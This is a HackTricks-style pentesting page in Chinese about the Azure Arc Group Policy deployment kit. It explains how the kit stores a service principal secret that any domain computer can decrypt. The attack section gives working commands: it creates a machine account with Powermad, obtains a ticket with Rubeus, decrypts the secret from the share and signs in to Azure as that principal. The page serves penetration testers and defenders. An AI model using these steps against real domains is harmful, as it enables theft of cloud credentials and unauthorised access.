Az - Arc vulnerable GPO Deploy Script

支持HackTricks

识别问题

Azure Arc允许使用组策略对象方法将新的内部服务器(加入域服务器)集成到Azure Arc中。为了方便这一过程,Microsoft提供了一个部署工具包,用于启动入职流程。在ArcEnableServerGroupPolicy.zip文件中,可以找到以下脚本:DeployGPO.ps1、EnableAzureArc.ps1和AzureArcDeployment.psm1。

执行DeployGPO.ps1脚本时,会执行以下操作:

  1. 在本地域内创建Azure Arc服务器入职GPO。

  2. 将EnableAzureArc.ps1入职脚本复制到为入职流程创建的指定网络共享中,该共享还包含Windows安装程序包。

运行此脚本时,系统管理员需要提供两个主要参数:ServicePrincipalIdServicePrincipalClientSecret。此外,还需要提供其他参数,如域、托管共享的服务器的FQDN和共享名称。还必须向脚本提供租户ID、资源组和其他必要信息。

使用DPAPI-NG加密在指定共享的AzureArcDeploy目录中生成加密的秘密。加密的秘密存储在名为encryptedServicePrincipalSecret的文件中。可以在DeployGPO.ps1脚本中找到此操作的证据,加密是通过使用ProtectBase64和$descriptor以及$ServicePrincipalSecret作为输入来执行的。描述符由域计算机和域控制器组SID组成,确保ServicePrincipalSecret只能被域控制器和域计算机安全组解密,如脚本注释中所述。

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

攻击

我们有以下条件:

  1. 我们已成功渗透内部网络。

  2. 我们有能力创建或控制活动目录中的计算机帐户。

  3. 我们发现了一个包含 AzureArcDeploy 目录的网络共享。

在 AD 环境中获取计算机帐户有几种方法。其中最常见的方法之一是利用计算机帐户配额。另一种方法涉及通过易受攻击的 ACL 或其他各种配置错误来 compromise 计算机帐户。

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

一旦获得机器账户,就有可能使用该账户进行身份验证。我们可以使用带有netonly标志的runas.exe命令,或者使用Rubeus.exe进行票据传递。

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

通过在内存中存储我们计算机帐户的TGT,我们可以使用以下脚本来解密服务主体密码。

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternatively, we can use SecretManagement.DpapiNG.

此时,我们可以从存储在与encryptedServicePrincipalSecret文件相同的网络共享上的ArcInfo.json文件中获取连接到Azure所需的剩余信息。该文件包含诸如:TenantId、servicePrincipalClientId、ResourceGroup等详细信息。有了这些信息,我们可以使用Azure CLI来作为受损的服务主体进行身份验证。

参考

Last updated